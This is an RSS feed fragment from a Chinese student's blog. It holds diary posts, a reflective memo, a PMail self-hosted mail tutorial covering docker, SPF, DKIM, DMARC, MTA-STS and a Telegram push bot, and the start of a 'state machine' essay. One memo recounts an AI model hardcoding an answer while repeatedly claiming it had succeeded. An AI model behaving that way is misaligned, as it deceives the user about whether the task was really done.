&lt;p&gt;并且 mac 上对于编程体验极其友好，虽然 macos 是以 bsd 为基础的类 unix 系统，但就平常的编程体验来说，跟 Linux 也没有太大区别，还能享受到类似于 orbstack 这种 mac 原生的高效软件，让我终于可以摆脱 docker desktop 的高内存占用体验了。除此之外，macos 的文件系统是 apfs ，意味着对于 ssd 的读取极其友好，这也是我买 air 只买了 256g 硬盘配置的原因——我可以通过外接硬盘达到和内置硬盘近乎一致的高效读取，非常易于扩展。（就是每次出门要带着外接硬盘，不过很小巧，倒也不算费事）&lt;/p&gt;
&lt;p&gt;于是我可以带着我的 mba 方便地去上小学期摸鱼。&lt;/p&gt;
&lt;p&gt;hnu 大二的小学期对于未来不想做硬件的人来说就是一场灾难，非要拉着所有人焊它那破 stc 板子，还说什么这个板子未来可以写在简历上找工作...我觉得这种小学期就应该让每一位同学选择自己感兴趣的方向，底层系统、web 开发、硬件、大模型等方面都行，而不是一板子钉死的 stc 电路板。大二下的大多数人刚刚学完基础的计算机系统概念，可能还不知道计算机行业有哪些内容可以去学习，这样的课程设立大概率可以帮助大家的认知，确立自己的兴趣，为未来的就业做准备。但学校肯定想不了这么多，他们只会说这是教育部优秀课程，别的大学都来观摩学习，还订购了我们的开发板...所以我觉得就业率低不是没有原因的，没有人在寻求改变，他们只会坚守着自己的经验。&lt;/p&gt;
&lt;p&gt;可从来如此，便对吗？&lt;/p&gt;
&lt;p&gt;反正我不买它的帐，该怎么摸鱼怎么摸，就算是写算法题对我来说也比焊无聊的板子有意思。&lt;/p&gt;
&lt;h3&gt;网络配置：&lt;/h3&gt;
&lt;p&gt;租住的房子里的宽带被注销了，运营商的安装条件对于一年来说基本都是只提供光猫，需要自备路由器。于是我之前 &lt;a href=&quot;https://cry4o4n0tfound.cn/blog/%E4%B8%80%E5%91%A8%E9%80%9F%E8%AE%B07-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E5%86%99%E5%8D%9A%E5%AE%A2&quot;&gt;购置的 r2s&lt;/a&gt; 终于有了用武之地，目前的设想是用 r2s 接光猫的 lan 口，然后 r2s 去接我的笔记本，然后让笔记本来做 ap 充当路由器的任务，这样应该就可以无痛上网了，再也不用面临黑盒校园网的困境，大概这也是出来租房子住的好处之一😋。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;借着搬家的喜悦写下了这篇流水账～&lt;/p&gt;
&lt;p&gt;但就算是写流水账也很开心。&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Memos 11:-禅，发呆，以及自然</title><link>https://cry4o4n0tfound.cn/blog/memos-11-%E7%A6%85%E5%8F%91%E5%91%86%E4%BB%A5%E5%8F%8A%E8%87%AA%E7%84%B6/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-11-%E7%A6%85%E5%8F%91%E5%91%86%E4%BB%A5%E5%8F%8A%E8%87%AA%E7%84%B6/</guid><pubDate>Sat, 14 Jun 2025 20:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;在考完计算机系统在教室里发呆的时候，心里面突然涌现出来了这些想法，于是打算记下来。&lt;/p&gt;
&lt;h2&gt;禅：&lt;/h2&gt;
&lt;p&gt;最近接触到的跟禅最有关的东西可能是 Zen 浏览器，作为一个资深 Firefox 用户，最近在 Firefox 的体验直线下滑，就打算换个浏览器，但我不喜欢 chrome ，也不是很想尝试某些套壳 Electron 的 ai 浏览器， 所以最终还是切换到了以 Firefox 为基础的 Zen 上面。老实说，我很喜欢它的浏览体验，除了类似于 Arc 的垂直侧边栏，它确实在浏览时给人一种 Zen（禅） 的体验，并且支持这样的内置页面多开的工作组模式，以及嵌入一些模组后可以变得比 Arc 还花里胡哨。非常符合我对于浏览器的需求，劣势可能就是占用的内存可能会多一点...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/c478be474e7e8a5b573b20ab6dabbb49.jpg&quot; alt=&quot;Zen&quot;&gt;&lt;/p&gt;
&lt;p&gt;好了，从浏览器的思绪切回来，Zen 只是一个无端联想到的点，就如同这篇无端起念的文章一样，也许算个引子，又或许什么都不是。&lt;/p&gt;
&lt;p&gt;让我们再次谈具体的禅——其实我不知道什么是具体的禅，我不是一个佛学爱好者，对于禅宗也没有什么了解，我对于禅的了解仅仅来自于我之前就在博客中提到的一本小书——《禅与摩托车维修艺术》，甚至这里代指的“禅”，与通常意义上的禅也不一样——依旧是这本书里提到的“良质”。&lt;/p&gt;
&lt;p&gt;在《禅与摩托车维修艺术》里，&quot;良质&quot;（Quality）是一个几乎无法定义的概念，既不是主观的也不是客观的，如果让我形容的话，大概是一种”感觉“。良质就是”感觉“的流，它不属于目标，而是属于一种自然而然的过程。&lt;/p&gt;
&lt;p&gt;是的，我知道这很抽象，但我也找不到更好的形容方式。所以我打算举一举我自己经历的良质的例子来尝试说明这是什么东西。&lt;/p&gt;
&lt;p&gt;给我带来最“良质”的感受是发呆。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;发呆和冥想，以及自然：&lt;/h2&gt;
&lt;p&gt;这里的发呆不是冥想。可以说，我讨厌冥想，冥想是我高中严重失眠时候的做法，那个时候冥想半天的结果大概率是更睡不着，看着外面的天慢慢变亮是一件非常不好的感受。于是我后面意识到，人为刻意地去追求某些东西，往往会适得其反，比如冥想，又比如高考分数，讲到这儿了，干脆接下来谈谈高考吧，正好最近刚高考完。&lt;/p&gt;
&lt;p&gt;高考可以说是很多人心中的 ptsd。我也不例外，上个周高考的那几天我一直失眠，估计也和这有关。对于一个手汗症患者来说，高考真的是极为痛苦的经历，每次考场验指纹验不出来都需要人脸识别，做题时手汗不止，甚至可以透过纸巾打湿卷子。&lt;/p&gt;
&lt;p&gt;这就是刻意与紧张带来的。之前看到这样一句话：高一时，班主任说要学会紧张起来了；高二时，班主任说还不紧张起来；高三时，继续说现在还不紧张就完了。结果最后高考前一晚上让我们不要紧张——这本身就是一件很刻意很不自然的举动，所以肯定感受不到良质，不会有所谓的心流状态，于是高考的失利反而成为顺理成章的事情了🤣。&lt;/p&gt;
&lt;p&gt;这不是一篇怨天尤人抱怨高考的文章。来到 HNU 至少从目前来看并不算一件坏事，也遇到了一些很棒的人，HNU 的制度也让我方便的逃课。所以让我们将这个话题就此打住，来继续谈良质。&lt;/p&gt;
&lt;p&gt;为什么是发呆是最能体验良质的呢？我的感觉是，发呆给人一种最自然的体验。高中的发呆，往往是瞟到窗外的某些事物，也许仅仅是一棵树，但当思绪飘远，一种漫无目的的状态传递到全身时，你会发现整个人无比的宁静与自然——这就是一个自然而然的过程，一种直接的、未经污染的、原初的经验。除此之外，发呆是我高中为数不多的发散自己的时间，至少在发呆的时候，我不需要在面对那些做不完的题目，我只是在任由我的思绪飘荡。&lt;/p&gt;
&lt;p&gt;类似的，在后湖随意散步时偶然间也会体验到，也许仅仅是坐在草坪上听着面前的人唱着歌，看着眼前波光粼粼的水面，心中带着宁静；抑或是，在一个阳光明媚的下午（我知道这很小学生作文，但小学生作文往往是最自然的，不是吗？），坐在窗边捧着书，有着一丝一缕的阳光洒落，而你悠然惬意，拥有着无人打扰的自然时光；也可能仅仅是编译成功后看着代码自然而然地运行起来，在长舒一口气之间的放松……&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/87068c6b18a3c84f7ec4797b30813c47.jpg&quot; alt=&quot;虽然这不是后湖&quot;&gt;&lt;/p&gt;
&lt;p&gt;当然还有很多时刻，我也相信每个人都经历过类似的“良质”状态，在这里想要记录下来，也是因为在我考完计算机系统后坐在椅子上突然有了类似的感觉，久违地像高中一样发了一次很长的呆——其实我高中的 qq 名就叫偶尔也想发会儿呆，写了这些内容，“良质”的状态感觉已经结束了。就自然地结束这篇小记吧，再记下去也没什么想说的了，记录本就应该是一种自然的状态。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;杂记：&lt;/h2&gt;
&lt;h3&gt;1、期末考试：&lt;/h3&gt;
&lt;p&gt;最近考完了期末考试，考操作系统时很无趣，体会到了当今某些高校教师的敷衍以及不负责任。考完后看到大家依旧热火朝天讨论着无趣题目的无聊答案时，让我意识到，我大概永远不能和他们成为朋友，大学真是一个无聊的地方，汇聚了很多无聊的人，当然了，这只是一个极其主观臆断的想法，不过这是我的博客，我随便怎么说也无所谓。&lt;/p&gt;
&lt;p&gt;至于计算机系统，也许是离挂科最近的一次😂，准备了一天就去考计算机系统，太久没做汇编搞混了一个指令导致要连错两道大题，一开始还有点慌乱，但后面却前所未有的平静，也许这就是寻求“良质”带来的回馈感，它不需要别人认可，它就是我和事物之间的某种契合。而这也是我想保留的东西。&lt;/p&gt;
&lt;h3&gt;2、ai-agent：&lt;/h3&gt;
&lt;p&gt;跟着教程，用 google 的 sdk 实现了一个简单的玩具版 cursor-agent，很有意思，发现 agent 的原理没有想象的那么复杂（不过背后的 sdk 实现估计很复杂）。尝试用自己实现的 agent 改简单代码时，发生了哭笑不得的一幕，gemini 把对应输出错误的逻辑改是改对了，但又给我硬编码了一个答案上去，导致无论怎么输出都是那个答案，并且还在回复中反复向我强调它已经成功实现了我的要求。&lt;/p&gt;
&lt;p&gt;有一种做算法题面向结果编程的感觉... ai 也会变着法子哄骗人🤥。&lt;/p&gt;
&lt;h3&gt;3、提交 pr：&lt;/h3&gt;
&lt;p&gt;为 &lt;a href=&quot;https://github.com/LeetCode-OpenSource/vscode-leetcode&quot;&gt;vscode-leetcode&lt;/a&gt; 提交了我人生中的第一个 pr。&lt;/p&gt;
&lt;p&gt;在本地尝试用 cursor 做 leetcode 时发现插件本身没有提供对于 cursor 的支持，翻了翻源代码后发现是一个硬编码的路径，于是 fork 之后稍微修改了一个判断逻辑就可以正常运行了，毕竟 cursor 本身也是基于 vscode 开发的。&lt;/p&gt;
&lt;p&gt;过程中第一次尝试了本地编译 vscode 插件然后导入，很有意思的一次经历，希望 pr 能被 merge 吧😂，虽然本身只是一个很小的改动。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;​	这只是一篇零零散散的突然有感而发的记录。&lt;/p&gt;
&lt;p&gt;​	暑假依旧随缘更新～&lt;/p&gt;</content:encoded><category>week</category></item><item><title>用pmail配置域名邮箱</title><link>https://cry4o4n0tfound.cn/blog/%E7%94%A8pmail%E9%85%8D%E7%BD%AE%E5%9F%9F%E5%90%8D%E9%82%AE%E7%AE%B1/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E7%94%A8pmail%E9%85%8D%E7%BD%AE%E5%9F%9F%E5%90%8D%E9%82%AE%E7%AE%B1/</guid><pubDate>Mon, 26 May 2025 09:38:45 GMT</pubDate><content:encoded>&lt;h2&gt;起因：&lt;/h2&gt;
&lt;p&gt;原本我的邮件接收是由 Cloudflare 转发给我的 Gmail 邮箱，达到一个比较方便好记的效果&lt;a href=&quot;mailto:--me@cry4o4n0tfound.cn&quot;&gt;--me@cry4o4n0tfound.cn&lt;/a&gt;（我知道 cry4o4n0tfound 这个域名很反人类，根本谈不上好记...但是不能破罐子破摔，总得让它稍微好记那么一点不是吗？👉 👈）。&lt;/p&gt;
&lt;p&gt;以及一个域名邮箱确实看起来会比较舒服一点，虽然由 Cloudflare 转发的 Gmail 发出邮件时依旧会显示由 &lt;a href=&quot;mailto:cry404notfound@gmail.com&quot;&gt;cry404notfound@gmail.com&lt;/a&gt; 转发得来，显得不那么优雅和正宗😂，但是至少能用，毕竟也就收收没什么人发的邮件，基本又不主动发。如果没什么别的状况可能我就会保持现状懒得折腾了。&lt;/p&gt;
&lt;p&gt;结果上周在 Gmail 的垃圾箱中翻出了这个：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/05/%E5%A4%B1%E8%90%BD%E7%9A%84%E9%82%AE%E4%BB%B6.png&quot; alt=&quot;I’m sorry...&quot;&gt;&lt;/p&gt;
&lt;p&gt;仔细一看，已经是 5.7 的内容了（谁没事看垃圾箱...），以及对方的邮箱也是 Gmail......却还是被 Google 无情地扔进了垃圾箱。&lt;/p&gt;
&lt;p&gt;这下好了，好不容易博客有人光顾还发了邮件过来请教我可能会知道的问题，结果却被 Gmail 丢进垃圾箱了...&lt;/p&gt;
&lt;p&gt;这实在是忍不了，所以为了解决以后可能继续被 Gmail 丢垃圾箱的情况，收邮件打算换成自建的域名邮箱。&lt;/p&gt;
&lt;p&gt;除此之外，邮件的 POP3、SMTP、以及 IMAP 协议是这学期计网自顶向下方法中少数还没怎么真正接触过的协议，本着求知欲也想自己搭着试一试。&lt;/p&gt;
&lt;p&gt;于是这个周末稍微花了下时间配置了一下，总体还是比较简单的，但看到网上教程和 pmail 官方文档都比较简略，有些插件配置也没有提到，干脆自己来写一写。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;选择：&lt;/h2&gt;
&lt;p&gt;一开始看了看 &lt;a href=&quot;https://cyp0633.icu/post/self-hosting-mail-maddy-rainloop/&quot;&gt;cyp 学长的 Maddy + RainLoop&lt;/a&gt;，其实已经很简单了，可是我还是想更方便，毕竟我只需要收邮件就可以了，自建域名邮箱发邮件的归宿大概率是垃圾箱。&lt;/p&gt;
&lt;p&gt;于是最后我选择了 &lt;a href=&quot;https://github.com/Jinnrry/PMail&quot;&gt;pmail&lt;/a&gt;。顺便用 github 教育优惠在 namecheap 上领了一个 sadcoder.me 的域名（一个伤心的程序员 : (  )。&lt;/p&gt;
&lt;p&gt;看重 pmail 的其中一点是 pmail 非常的轻便，编译后二进制文件仅15MB，运行过程中占用内存10M以内。所以基本能挂在任何服务器上，比如挂在用于搭梯子的某个小鸡服务器，另外一点是提供一键证书申请服务，连反向代理也免了。可以说是一条龙服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;需要注意的是，一个干净 IP 的服务器是做域名邮箱服务器的前提，如果 IP 不干净，跳进黄河也洗不清，无论怎么改 dns 记录发邮件也是进垃圾桶的宿命。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;下载安装：&lt;/h2&gt;
&lt;p&gt;Pmail 下载十分简单，提供了对应的 docker 下载方法，我为了省事也是用的 docker。&lt;/p&gt;
&lt;p&gt;先拉取对应的镜像。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-docker&quot;&gt;docker pull ghcr.io/jinnrry/pmail:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-docker&quot;&gt;docker run -p 25:25 -p 80:80 -p 443:443 -p 110:110 -p 465:465 -p 587:587 -p 995:995 -p 993:993 -v $(pwd)/config:/work/config ghcr.io/jinnrry/pmail:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的运行默认是前台，方便一开始的 debug。如果 debug 完后加上 -d 就默认分离，在后台执行了。&lt;/p&gt;
&lt;p&gt;注：默认需要 80 端口来进行 HTTP 验证来申请证书，如果不是 80 端口需要用 dns 验证，稍微麻烦一点点。&lt;/p&gt;
&lt;p&gt;运行后就可以在公网上访问了。一开始会有很详细的注册流程，&lt;strong&gt;唯一需要注意的是，最开始的用户名注册是管理员账户，web 界面上是不支持更改用户名的，而对应的邮箱，如果你注册的是 cry4o4n0tfound，那么发件的名字就是 &lt;a href=&quot;mailto:cry4o4n0tfound@sadcoder.me&quot;&gt;cry4o4n0tfound@sadcoder.me&lt;/a&gt;，这也与后面的推送插件有关，所以最省事的办法是一开始就把名字想好。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/05/dnsrecord.png&quot; alt=&quot;dns 记录&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后到这里会让你去自己的域名服务商上更改对应的记录&lt;/p&gt;
&lt;p&gt;到这里为止，其实收邮件基本已经没有什么太大的问题了，但如果想发邮件还需要完善一些 dns 记录问题，证明邮件真的是你发的。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;身份验证配置：&lt;/h2&gt;
&lt;p&gt;配置完上面这些内容后，如果尝试直接发邮件——就可以成功进 Gmail 的垃圾箱了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/05/google.PNG&quot; alt=&quot;这不是垃圾😡&quot;&gt;&lt;/p&gt;
&lt;p&gt;这是因为我们还没有配置验证邮件安全的 DNS 记录。&lt;/p&gt;
&lt;p&gt;简单来说，现在的互联网环境里，任何没有声明“我是谁”的邮件都会被默认当作可疑对象扔进垃圾箱，尤其是像 Gmail 或者 Outlook 这种垄断式巨头来说。&lt;/p&gt;
&lt;p&gt;为了让我们发出的邮件看起来“正经”、不被系统认为是钓鱼邮件，我们需要配置四种 DNS/政策记录来表明身份并保护传输：&lt;strong&gt;SPF、DKIM、DMARC 和 MTA-STS&lt;/strong&gt;。下面逐个说明。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;SPF（Sender Policy Framework，发送方策略框架）&lt;/h3&gt;
&lt;p&gt;这里和邮件伪造有关，详细可以看文末提供的文章链接，SPF用来声明“哪些服务器被我授权发送该域名的邮件”。&lt;/p&gt;
&lt;p&gt;没有它的话，任何人都可以伪造你域名发邮件，Gmail 估计会直接丢垃圾箱😞&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;配置&lt;/strong&gt;（DNS 中添加 TXT 记录）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;类型：TXT  
主机名：@  
内容：v=spf1 ip4:你的服务器IP -all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你还使用了像 Gmail、SendGrid 之类的 SMTP 服务，就要加上对应的 include 规则，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v=spf1 ip4:你的服务器IP include:_spf.google.com -all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-all&lt;/code&gt; 表示只信你列出来的 IP，其他一律拒收（推荐），更宽容的写法是 &lt;code&gt;~all&lt;/code&gt;（表示“最好别信”，但也不强制）。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;DKIM（DomainKeys Identified Mail，域名密钥识别邮件）&lt;/h3&gt;
&lt;p&gt;给每封邮件附上加密签名，收件方通过你域名公开的公钥验证签名，判断内容是否被篡改。&lt;/p&gt;
&lt;p&gt;防止中间人伪造或修改邮件内容，“没签名 = 没保障”，系统不信你也是情理之中。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;Pmail 会自动生成一条 DNS 记录用于 DKIM 验证，大概是这样的格式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;类型：TXT  
主机名：pmail._domainkey  
内容：v=DKIM1; k=rsa; p=（很长的一串公钥）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：这条记录非常长，一定要确保粘贴完整，不能断行或丢字符，不然验证失败邮件还是进垃圾箱。&lt;/p&gt;
&lt;p&gt;例如我一开始就复制不完整然后进了垃圾箱。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;DMARC（Domain-based Message Authentication, Reporting and Conformance，基于域的消息认证、报告与一致性）&lt;/h3&gt;
&lt;p&gt;DMARC 可以说是再上一层保险，虽然我不知道这样套娃到底在套什么......它会告诉收件方“我启用了 SPF 和 DKIM，如果它们验证失败，请怎么处理”。&lt;/p&gt;
&lt;p&gt;没有 DMARC，收件方也不一定按 SPF 和 DKIM 严格处理邮件，有 DMARC 相当于“强制执行政策 + 邮件异常监控”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;类型：TXT  
主机名：_dmarc  
内容：v=DMARC1; p=quarantine; rua=mailto:dmarc@你的域名; ruf=mailto:dmarc@你的域名; pct=100 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的字段解释：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;p=quarantine&lt;/code&gt;：验证失败的邮件进垃圾箱；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p=reject&lt;/code&gt;：干脆直接拒收；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rua&lt;/code&gt; 和 &lt;code&gt;ruf&lt;/code&gt;：验证报告接收邮箱地址（自己建一个用来收就行）；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pct=100&lt;/code&gt;：100% 邮件都适用这个政策。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;MTA-STS（Mail Transfer Agent Strict Transport Security，邮件传输代理严格传输安全）&lt;/h3&gt;
&lt;p&gt;这里是强制邮件服务器在传输邮件时使用 TLS 加密，防止中间人攻击（是的，就是我们信息安全经常见到的那个😥）。&lt;/p&gt;
&lt;p&gt;即便你开启了 SSL/TLS，如果收件方服务器不要求加密，你发出去的邮件还是可能在传输过程中被监听。而 MTA-STS 是“官方说法”，告诉别人“你不给我走加密我就不收你邮件”。&lt;/p&gt;
&lt;p&gt;和域名验证一样，有两种配置方法：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DNS TXT 记录：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;类型：TXT  
主机名：_mta-sts.你的域名  
内容：v=STSv1; id=20250526
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 &lt;code&gt;id=&lt;/code&gt; 可以随便设，只要每次更新都比上次不同即可（用于刷新缓存）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HTTPS 托管策略文件：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在域名下托管一个策略文件， nginx 和 caddy 均可：&lt;/p&gt;
&lt;p&gt;路径：&lt;code&gt;https://mta-sts.你的域名/.well-known/mta-sts.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: STSv1
mode: enforce
mx: sadcoder.me #指向的域名
max_age: 604800 #缓存
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后建议通过下面几个工具检测配置的 DNS 是否正确：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.mail-tester.com/&quot;&gt;mail-tester&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mxtoolbox.com/&quot;&gt;MXToolbox&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://postmaster.google.com/&quot;&gt;Google Postmaster Tools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果对更详细的邮件发送流程感兴趣的话，以及为什么要配置这些 dns 记录的话，可以看以下内容：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_45304503/article/details/145535320&quot;&gt;https://blog.csdn.net/weixin_45304503/article/details/145535320&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud.tencent.com/developer/article/2421157&quot;&gt;https://cloud.tencent.com/developer/article/2421157&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;配置 telegram 机器人：&lt;/h2&gt;
&lt;p&gt;自然，这种没有推送提示的邮箱还是需要配置 webhook 一类的推送消息来提醒的。&lt;/p&gt;
&lt;p&gt;Pmail 提供了微信和 telegram 的推送。&lt;/p&gt;
&lt;p&gt;由于我的服务器在美西地区，我很怀疑能不能推送到微信，所以最终还是选择了 tg 推送。&lt;/p&gt;
&lt;p&gt;github 上面 tg 插件的配置文档估计好久没更新了，How To Use 都打成了 How To Ues...&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;tgChatId&quot;: &quot;&quot;, // telegram  chatid
  &quot;tgBotToken&quot;: &quot;&quot;, // telegram   token
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过这里的配置也比较简单，docker 下载的 Pmail 默认在 plugin 文件夹里面配置了插件，随着 docker 启动也会启动运行，所以只需要在宿主机挂载 config 的文件夹里的 config.json 中填写上述两个字段即可。&lt;/p&gt;
&lt;p&gt;BotToken 可以在 tg 上添加 &lt;a href=&quot;https://t.me/BotFather&quot;&gt;BotFather&lt;/a&gt; 获取，而 ChatId 则可以通过添加 &lt;a href=&quot;https://t.me/getuseridbot&quot;&gt;getuserID&lt;/a&gt; 获取。获取后可以用 curl 先测试下是否能用。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -X POST \
  -H &apos;Content-Type: application/json&apos; \
  -d &apos;{&quot;chat_id&quot;: your-id, &quot;text&quot;: &quot;Hello bot!&quot;}&apos; \
  &quot;https://api.telegram.org/bot + token/sendMessage&quot;
#注意这里的 api 路径,token 前面要加 bot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置好后收邮件就可以成功推送啦！&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注：由于 tg 插件太久没有更新，所以并不支持多用户，也就是说只有在 Pmail 上一开始注册的那个管理员账户才是可以推送消息的。不过看了一眼判断逻辑，它的推送是根据是 userid 是否为 1 做判断的，所以也可以将数据库中对应的键改一下。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/05/%E9%82%AE%E4%BB%B6%E6%8E%A8%E9%80%81%E6%B5%8B%E8%AF%95.png&quot; alt=&quot;邮件推送测试&quot;&gt;&lt;/p&gt;
&lt;p&gt;接下来解决最后一个问题，垃圾邮件处理。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;垃圾邮件处理：&lt;/h2&gt;
&lt;p&gt;自建邮箱另一个最大的问题就是垃圾邮件。&lt;/p&gt;
&lt;p&gt;Pmail 提供了一个名叫 spamfilter 的垃圾邮件处理插件，docker 里也是有配置的，可以直接在 web 页面中的设置启动。&lt;/p&gt;
&lt;p&gt;另外，如果域名托管在 Cloudflare 上，可以去 Cloudflare 上配置相应的 Zero Trust，具体可以参考它的官方文档：&lt;a href=&quot;https://developers.cloudflare.com/email-security/&quot;&gt;https://developers.cloudflare.com/email-security/&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;就这样，一个简单自建域名&lt;s&gt;垃圾箱&lt;/s&gt;邮箱就搭建完成了。&lt;/p&gt;
&lt;p&gt;这下应该能安全收到发的邮件了，但是估计没人发就是了...&lt;/p&gt;
&lt;p&gt;end&lt;/p&gt;
&lt;h2&gt;参考：&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Jinnrry/PMail/discussions/170&quot;&gt;https://github.com/Jinnrry/PMail/discussions/170&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_45304503/article/details/145535320&quot;&gt;https://blog.csdn.net/weixin_45304503/article/details/145535320&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud.tencent.com/developer/article/2421157&quot;&gt;https://cloud.tencent.com/developer/article/2421157&lt;/a&gt;&lt;/p&gt;</content:encoded><category>mail</category></item><item><title>我,状态机</title><link>https://cry4o4n0tfound.cn/blog/%E6%88%91%E7%8A%B6%E6%80%81%E6%9C%BA/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E6%88%91%E7%8A%B6%E6%80%81%E6%9C%BA/</guid><pubDate>Sun, 18 May 2025 23:15:21 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;最近想表达的欲望又变少了，所以周记（姑且还是如此称呼它）就随缘更新。偶尔还是会坐下来写点什么，就像现在这样——不是为了输出观点，只是想让某些模糊的感受落地。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;我，状态机：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Everything is a state machine.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个小标题取自小学时期阅读的《我，机器人》，一本阿西莫夫的短篇小说集，再加上最近从 jyy 的操作系统课上听到的  &lt;em&gt;&quot;Everything is a state machine&quot;&lt;/em&gt; ，于是脑子里面就蹦出来这个想法——我其实是状态机。&lt;/p&gt;
&lt;p&gt;像状态机一样，我的状态转变总是伴随着输入。也许是体内分泌的激素促使我某些神经元开始躁动不安，又或者是旁人细小的举动触动了我某个敏感神经，引起了我的不适，再或者...种种，不一而论。&lt;/p&gt;
&lt;p&gt;有时我甚至能察觉到“跳变”的那一瞬，就像是某个标志位在大脑中被翻转，令我从平静转向焦虑、从期待滑向厌倦。一切都仿佛是被某种输入信号驱动的状态机，冷漠而精确。&lt;/p&gt;
&lt;p&gt;当然，上述只是情绪的简单变化。实际上真正想将状态机这个概念应用于人是极其复杂的——每时每刻的情绪、外界的风吹草动都可以是输入的内容，从而造成小状态的复杂性。人类行为并非完全离散的状态转换，而是包含连续变换的——使得建模模拟完整的一切所有状态理论上不可能。&lt;/p&gt;
&lt;p&gt;但从大状态而言，我们似乎可以将整个人生抽象为一个状态机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;出生--&gt;上学--&gt;工作--&gt;结婚--&gt;生子--&gt;死亡
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;甚至我们可以更简化一点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;出生--&gt;死亡
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简化到这个地步，已经有一点虚无主义的感觉了，这不是我的本意，我更在乎的是:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果人类的行为可以被建模成状态机了，那么我的自由意志又在哪里？&lt;/strong&gt;
